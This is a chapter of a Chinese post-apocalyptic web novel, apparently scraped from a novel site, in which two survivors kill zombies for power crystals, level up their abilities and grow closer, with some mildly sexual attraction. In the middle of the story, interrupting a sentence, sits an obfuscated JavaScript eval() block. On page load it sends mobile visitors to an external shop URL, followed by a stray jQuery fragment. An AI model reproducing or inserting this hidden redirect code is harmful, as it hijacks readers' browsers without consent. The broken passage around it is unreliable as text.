文趣网 > 都市小说 > 林中屋[末世] > 7. 励志卷王第四天
    时眠刚被扑倒在地的瞬间,凌峭另一只手释放出闪电,一下刺穿了丧尸的脑袋。

    这玩意不知道在试衣间躲了多久,听见声响才窜出来。

    时眠拍拍膝盖上的灰站起来,不清楚它是有意识地在里面蹲守,还是在末世前刚好就在试衣间变得丧尸。

    比起这个,他看向凌峭,“兄弟,你异能升阶了?”

    平常它们异能是不够一下就击杀丧尸的。

    凌峭摇头,过来帮他拍衣服上的灰,“应该是练习久了,顺手了些。”

    背包被塞到凌峭手中,“行,你先看看我给你拿的衣服,能穿不?”

    他不知道凌峭什么码,全凭手感。

    凌峭拿出来看了看,几件外套内搭还有裤子,码数都大差不离,他点点头:“可以。”

    “那就行,”时眠看了眼凌峭空荡荡的背包,一下给拿过来,

    “我还要挑两件我的,这个包就给你了,还能塞两件,你自己看着来。”

    两人将背包装满,凌峭又在隔壁店铺找到同个款式的监控后又遇到不少丧尸,两人合力解决完就准备打道回府。

    虽然现在物资肯定是最充足的一段时间,但是竞争也意味着肯定最强。

    他们现在本身就吃穿不愁,没必要耗费精力去争抢。

    车回程是由时眠开,开到一半他突然想到什么,觉得总叫凌峭兄弟不太行,现在也算是有了点革命友谊,就问他:“对了,你多少岁?”

    “26。”凌峭一板一眼的回答。

    “还比我大两岁。”时眠开着车,今天这一趟除了那点小插曲外还算顺利,现在他轻松不少。

    “那我叫你阿凌吧,你可以叫我小时或者眠眠?这是我爸妈以前取的小名。”

    本来是该叫什么哥的,但是时眠总感觉叫哥有点奇怪,就算了。

    “好。”凌峭看着窗外,心情却不比时眠轻松。

    现在他还是太弱了。

    要不是有时眠,他估计早就在哪里奄奄一息——但是要想一直留下,就得展示自己的价值。

    在一个拐角处,他看到路上几个游荡的丧尸,转头对着时眠说到:“可以在这里停一下吗。”

    平常路上的丧尸两人都是直接开过去的,时眠看了他一眼,“你想攒晶核?”

    凌峭点头。

    时眠想了想丧尸也不多,就停了车。

    也是,稍微有点动力的人遇到末世都不会这么佛系。

    时眠靠在方向盘上,看着凌峭越来越熟练的动作,脚挪了又挪,最后还是没有动。

    这几天已经够累了,时眠真不想在近距离面对这些恶心的玩意儿。

    浑身青黑尸臭,尖牙利齿,一张嘴那嘴都堪比半个头了,时眠以前玩过的末日小游戏都比现实清醒脱俗。

    兄弟这么努力也是好事,以后说不定还能抱大腿。

    时眠就这么怀着美好的梦想一路走走停停,直到最后凌峭已经有慢慢一袋晶核了。

    回家时,凌峭从车上下来,将那袋子晶核给时眠,“给你。”

    时眠懵了懵,“给我干什么?”

    “给你,升级。”

    时眠捂了捂额头拉着凌峭往楼上走,这是像交房租一样在给他上供呢。

    进了凌峭的房间,时眠将晶核当着他面放进床头柜里,正色看他:“阿凌,这是你的劳动成果,不需要跟我分享。”

    “如果你觉得过意不去,那我给你分配点工作。”

    是的,时眠上楼的时候想了想,他有这种心理也实在正常。

    干脆给他找点事做就好了。

    “院外的地,你每天去浇浇水,家里的家务你包,还有做饭,你做饭我洗碗,可以吗?”

    凌峭有些踌躇地凑上前,拉着时眠袖子,明显不太乐意着低头:“晶核也给你。”

    这死孩子这么爱被剥削?时眠扯了扯袖子还没扯动,他嘴角一抽,“行了,放手,我要去洗澡。”

    见时眠真的要生气了,凌峭才将手缩回去。

    但当时眠洗完澡出来的时候,还是发现床上摆着一小袋晶核。

    他拿起来掂了掂,应该是凌峭一半的数量,心下有些无奈。

    好兄弟太爱舍己为人了。

    时眠一琢磨,自己给他吃住的地方,收点晶核能让他更自在的话,也不是不行。

    升二阶需要的晶核不算少,而且他是双系,要的就更多了。

    确实如果没有凌峭投喂,他连升二阶都不知道要去猴年马月。

    时眠给自己做了一番心理建设后,还是拿起来吸收了。

    这次凌峭给的加上自己那几个晶核数量不少,片刻后,时眠感觉浑身流淌过一股热流。

    再睁眼,异能已经升到了二阶。

    时眠明显的感觉自己的异能储备比之前大了一倍,异能使用也不再是当初单纯的攻击,光和水都能变换形态,只不过不能太大就是了。

    时眠好奇地试了一下,按照想象给自己变了个光刃出来。他好奇地舞了舞,除了没有实体外还挺像模像样。

    他迫不及待地想将这个消息给他的天使投资人好兄弟说,于是穿着睡衣就跑了过去,两间房离得近,几步路就到了。

    “阿凌!”时眠敲了敲门,门开后激动地窜进去,“我二阶了!”

    凌峭看他没有拒绝还吸收升阶了,嘴角像素也升了两个点,

    “恭喜。”

    时眠自来熟地坐在他床上,“你呢?”

    凌峭跟着坐在旁边,想挨再近点,真近了又不知道手脚往哪里放,“我也二阶了,具体应该是二阶半。”

    时眠也不意外,凌峭是单系,而且多练习应该对升阶是有点作用的。

    他一下仰躺在软绵的床上看着天花板,一时又想起上一世,他和凌峭刚开始的时候吃了可是不少苦。

    现在虽然也累,但是总归是个很好的开头。

    凌峭看着时眠因为躺下而滑上一截的睡衣,眼神下意识就挪不开了。

    太瘦了,他想,感觉风一刮就要被吹倒。

    腿突然被踢了一下,随之而来的还有一道软声:“我饿了。”

    凌峭看着搭在自己大腿上的脚,不知为何就想摸一摸,他刚想伸手的时候时眠就自己缩了回去,还又踢了一下。

    凌峭赶紧下床,“想吃什么?”

    “都行。”

    虽然是都行,但是如果是时眠不爱吃的,他也不说,就只默默少吃点,所以每次做饭凌峭都尽量多做几个菜色。

    这次午饭也是三菜一汤,凌峭默默观察着时眠的喜好,然后下一次再多加更改。

    下午的时候时眠去看了看种的菜,给他们又施了层治愈异能。

    仅仅一天,土里当然是一点动静没有,但是时眠逛了一圈却发现了不同。

    凌峭半天没看见人,出来时就发现他好奇地蹲在角落不知道在看什么。

    走过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875100|212370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去,凌峭也蹲在他身后,“怎么了?”

    时眠早就听到脚步声也没被吓到,“你过来看看,这是什么?”

    凌峭将脑袋从时眠旁边伸过去看。

    因为时眠不外出的时候通常都是穿着睡衣,凌峭余光措不及防地就看见粉嫩的小粒,对方身上还传来一阵浅香。

    凌峭被刺激得一下脑袋嗡嗡,“哦…这是什么,小草。”

    “哈?”时眠不满地用胳膊推了他一下,“你仔细看。”

    凌峭狠掐着自己大腿定神望去,发现是几片大小肥厚不一的叶片,“叶子。”

    时眠点头,声音有些疑惑,“院子里怎么会有些东西。”

    而且不知道为什么,时眠下意识就感觉这些是几片好叶子,他试探地将异能注入了点进去,叶片明显地晃了晃,像在蹭他的手指。

    时眠若有所思地想了想,没想出什么来,但是这种有点诡异的植物突然冒出院子…

    “拿个铲子来。”就算感觉是个好的,这种安全问题也不能放过。

    接过铲子,时眠犹豫一秒后狠狠铲下去,但神奇的一幕发生了——叶子竟然不见了!

    时眠皱眉,什么鬼东西?缩回去了?

    这一看就是变异的植物,放在这里只会后患无穷。

    时眠想了想,让凌峭在那里放几个电。

    随着一阵噼里啪啦,时眠等了等,直到晚上也没看见还有冒芽的踪迹才松了口气。

    晚上躺在床头,他翻来覆去的有些睡不着。

    现在时眠处于一种想干点什么又没有什么能干的状态,急迫又不知道哪里急迫。

    他总感觉自己忘了什么。

    翻了个身摸着一如既往白天神出鬼没,晚上就准时躺在他床上的小橘,时眠突然灵光一现。

    想起来了,那个该死的前任。

    关于上一世做的梦本来就残破不全,除了预知了末世之外基本没什么用,更算不上金手指,而且时眠明显感觉最近那点残破的记忆都快完全忘记了。

    这一世前任没抢到小木屋——话说他为什么要抢小木屋?

    想着自己的光系异能,时眠隐隐感觉摸到了点什么,却又很快消散不见。

    总之顾瑜然这一世只来过一次,后续就没再来过,前任静悄悄必定在作妖。

    他也有前世记忆,又知道自己的位置,保不齐就暗搓搓想干点什么坏事。

    乱七八糟想了半天,再醒的时候已经日上三竿了。

    时眠盯着有些乱的头发坐起来,打算清醒清醒再起床。

    模糊睁眼时,他突然看见前面有个奇怪的黑影,眨眼在看,这不是凌峭吗?

    “阿凌,你干嘛?”

    凌峭坐在时眠床边,见人醒了眼睛一亮,就蹲在地上拿拖鞋。

    他刚起床就将时眠昨天外出的衣服洗干净晾好,然后做好早餐热上,再等时眠起床,给他收拾被子。

    昨天晚上不知道为什么,他总是梦到时眠。

    半夜醒来搓裤子的时候,凌峭感觉自己真不是个东西,时眠是自己的救命恩人,怎么可以这样?就连想想也是不该的。

    于是他找到个办法转移注意力,那就是做好时眠交代的事,比如说做家务。

    洗衣服照顾人之类,凌峭认为都包含在家务里面,他这么做完全没问题。

    毕竟要帮时眠减轻压力,做事不能含糊。

    所以他一大早起床,就等着转移注意力了。